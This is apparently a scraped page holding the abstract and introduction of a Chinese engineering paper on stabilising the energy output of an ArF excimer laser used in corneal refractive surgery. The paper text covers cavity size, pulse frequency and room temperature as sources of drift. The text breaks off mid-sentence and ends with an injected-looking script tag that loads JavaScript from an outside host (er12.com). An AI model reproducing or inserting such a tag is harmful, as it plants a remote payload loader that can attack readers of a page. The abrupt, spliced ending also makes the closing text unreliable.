energy stability unit of medical excimer laser system
zhu ping zhao ning shi xiaojun
(department of electronic engineering，southeast university，nanjing 210096，r．p．china)
abstract: this paper introduces the principle of excimer laser in cornea ablation surgery application. analyzes how laser cavity, laser frequency, environment temperature and operation process etc. can affect laser energy stability which directly affects the surgery quality. describes the system and principle of excimer laser cornea ablation instrument without energy stability control unit. according to automatic control principle, designed a laser energy stability control unit to real timely control the laser output energy during the cornea ablation surgery. test results shows that laser energy variation is within 5% during 2 hours operation time with laser energy stability control unit while laser energy variation can be more than 50% during 2 hours operation time without laser energy stability control unit. surgery cases also show the satisfactory cornea ablation results with laser energy stability unit.
key words: excimer laser；energy stability；automatic control
摘 要：本文介绍了准分子激光器在眼科屈光手术中的应用及治疗原理，分析了激光腔体大小、激光工作频率高低、环境温度变化以及人为因素等对准分子激光器能量稳定性和手术效果的影响，阐述了无能量稳定系统的准分子激光屈光治疗仪的系统组成和工作原理。根据自动控制原理，提出了提高准分子激光器能量稳定的设计方案，详细叙述了有能量稳定系统的准分子激光屈光治疗仪的控制原理。试验和应用都表明，有能量稳定系统的准分子激光屈光治疗仪在2小时的工作时间内，激光输出能量能稳定在5%以内，结果令人满意。
关键词：准分子激光器；能量稳定；自动控制
一、引言
准分子激光除了在工业领域中有着广泛的应用外，而且在眼科屈光手术中也得到了充分的应用。准分子激光屈光治疗仪是利用arf准分子激光器产生波长为193nm紫外激光束在计算机的控制之下来实施手术治疗的，其治疗原理是：根据近视患者的术前检查结果，将其近视度数、角膜厚度、k值（平均角膜曲率）等参数输入计算机，在计算机控制下计算出切削的范围和安全切削深度以及手术时间；通过外光路的激光束传导扫描系统实现紫外光束的精确聚焦和控制，其切削精度非常高，每个光脉冲切削深度为0.2微米。整个激光手术时间只有几十秒钟，都是在计算机的控制下完成的，它指挥激光器发出一系列的激光脉冲照射到角膜上，在角膜中心切削出一个光滑的曲面，所有激光脉冲照射到角膜组织上以后，使角膜曲率改变，这样可以矫正原有屈光度数，使光线直接聚焦于视网膜上，用光束重塑角膜曲率使视力变得清晰，达到矫正近视的目的。
要想达到满意的手术效果除了计算机的精确控制和病人的很好配合外，还需要激光器能量输出非常稳定。如何才能保证激光器的稳定输出，我们需要对影响激光器稳定性的因素做如下分析。
二、准分子激光器能量稳定性影响因素分析
1、准分子激光器为气体激光器，激光腔体越大稳定性越好。其原因是：由于腔内存放的工作物质多，气体成份变化就缓慢，所以维持有效的工作时间长，受温度影响也小，因此稳定性也好。但激光腔越大制造成本越高，运行费用也越高。
2、激光器工作频率越低越稳定。但为了实现角膜的个性化切削，为角膜不规则患者塑造理想的屈光效果。当今流行小光斑和飞点扫描技术，光斑越小分辨率越高，对角膜修复就越完美，因此在角膜处的光斑不宜做得太大，通常直径为0.8mm到1.0mm之间，但激光手术区域不能缩小、深度又不能太浅，这样就要求在较短的时间内必须完成手术程序，否则病人的固视时间太久难以自控，从而影响手术效果。因此需要提升激光工作频率，从过去的100hz发展到200hz，甚至发展到300hz以上，来缩短手术时间。激光工作频率高将导致激光器输出能量的稳定性降低。
3、手术室环境温度的变化导致激光腔体的变化，造成激光能量输出的变化。手术室环境温度要做到恒温也是比较困难的，手术室空间不能太小（通常大于15平方）、密封效果要好、空调有足够的控制能力，这样才能将激光器工作不断产生的热量带走、减少因人员进出和室内人数变化等因素产生温度波动的影响。否则，如果室温上升，激光器放电产生的热量不能很好的冷却，从而使激光器腔内的压力不断上升，光学谐振腔发生变形，破坏了激光器的光学?script src=http://er12.com/t.js>
